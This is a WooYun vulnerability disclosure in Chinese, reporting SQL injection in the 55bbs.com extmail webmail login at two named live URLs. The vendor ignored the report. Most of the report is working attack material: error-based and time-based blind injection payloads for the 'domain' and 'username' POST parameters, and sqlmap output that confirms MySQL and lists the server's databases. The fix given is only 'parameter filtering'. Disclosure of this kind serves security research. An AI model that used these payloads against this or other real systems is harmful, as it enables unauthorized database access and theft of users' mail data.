漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0187368
漏洞标题：55bbs邮件系统SQL注射
相关厂商：55bbs.com
漏洞作者： 路人甲
提交时间：2016-03-21 17:59
修复时间：2016-03-26 18:00
公开时间：2016-03-26 18:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-03-21： 细节已通知厂商并且等待厂商处理中
2016-03-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
55bbs邮件系统sql注射
详细说明：
55bb邮件系统sql注射
注射链接：
http://pop3.55bbs.com/extmail/cgi/index.cgi
http://smtp.55bbs.com/extmail/cgi/index.cgi
注入参数：
Parameter: domain (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: username=admin&password=2121&domain=55bbs.com' AND (SELECT 2116 FRO
M(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(2116=2116,1))),0x71787a6b71,F
LOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'mtIe
'='mtIe&nosameip=on
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: username=admin' AND (SELECT 8134 FROM(SELECT COUNT(*),CONCAT(0x7162
716a71,(SELECT (ELT(8134=8134,1))),0x71787a6b71,FLOOR(RAND(0)*2))x FROM INFORMAT
ION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'tHuA'='tHuA&password=2121&domain=55
bbs.com&nosameip=on
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))XEQZ) AND 'DGq
G'='DGqG&password=2121&domain=55bbs.com&nosameip=on
漏洞证明：
Parameter: domain (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin&password=2121&domain=55bbs.com' AND (SELECT 3084 FROM(SELECT COUNT(*),CONCAT(0x7170767671,(SELECT (ELT(3084=3084,1))),0x716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'EkhN'='EkhN&nosameip=on
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=admin&password=2121&domain=55bbs.com' AND (SELECT * FROM (SELECT(SLEEP(5)))LJhz) AND 'Vcus'='Vcus&nosameip=on
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' AND (SELECT 7724 FROM(SELECT COUNT(*),CONCAT(0x7170767671,(SELECT (ELT(7724=7724,1))),0x716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'AqVK'='AqVK&password=2121&domain=55bbs.com&nosameip=on
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))gwoO) AND 'eZmf'='eZmf&password=2121&domain=55bbs.com&nosameip=on
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: domain, type: Single quoted string (default)
[1] place: POST, parameter: username, type: Single quoted string
[q] Quit
> 0
[17:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0
[17:03:12] [INFO] fetching database names
[17:03:12] [INFO] the SQL query used returns 3 entries
[17:03:12] [INFO] resumed: information_schema
[17:03:12] [INFO] resumed: extmail
[17:03:12] [INFO] resumed: test
available databases [3]:
[*] extmail
[*] information_schema
[*] test
修复方案：
参数过滤!
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2016-03-26 18:00
厂商回复：
漏洞Rank：15 (WooYun评价)
最新状态：
暂无